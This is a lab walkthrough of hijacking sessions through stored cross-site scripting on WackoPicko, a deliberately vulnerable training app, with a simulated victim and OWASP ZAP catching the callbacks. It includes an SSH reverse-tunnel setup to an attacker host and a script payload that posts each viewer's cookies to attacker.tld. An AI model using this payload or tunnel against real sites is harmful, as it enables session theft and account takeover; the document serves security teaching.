Using cross-site scripting (XSS) to steal cookies is a common method of exploitation as cookies are widely used by web applications for session management. With some XSS vulnerabilities, an attacker can forward the victim’s cookies to their own domain, manually insert them into their browser, and assume the victim’s identity.

However, there are several limitations to this approach in practice, including the possibility that the victim is not logged in, that cookies are hidden from JavaScript using the HttpOnly flag, that sessions are locked to additional factors such as the user’s IP address, and that the session might time out before it can be hijacked.

In this scenario, a simulated victim user views comments on a WackoPicko blog after they are posted, which activates the persistent XSS, causing the user’s cookies to be sent to a host controlled by the attacker. The following example leverages OWASP ZAP.

• Access your remote C2 server via SSH and modify /etc/ssh/sshd_config so the following are enabled:

AllowTcpForwarding yes
GatewayPorts yes

• Restart sshd with systemd:

sudo systemctl restart ssh

• From your attacking machine, create a tunnel via SSH from the remote server so that anything that hits port 38193 will be redirected to the attacker’s instance of ZAP

ssh -N -R 38193:localhost:38193 user@attacker.tld

• Going back to ZAP, open the Options menu and go to the go to “Callback Address” entering the following:

• Go back to the Guestbook and submit the following payload in a blog comment, inserting your Test URL:

<script>
fetch('http://attacker.tld:38193/ZapTest', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

• This script will make anyone who views the comment issue a POST request to http://attacker.tld:38193/ZapTest containing their cookie.
• Go back to the Callbacks tab (which you may need to add)

You should see an HTTP interaction. If you don’t see any interactions listed, wait a few seconds.

• Take a note of the value of the victim’s cookie in the POST body.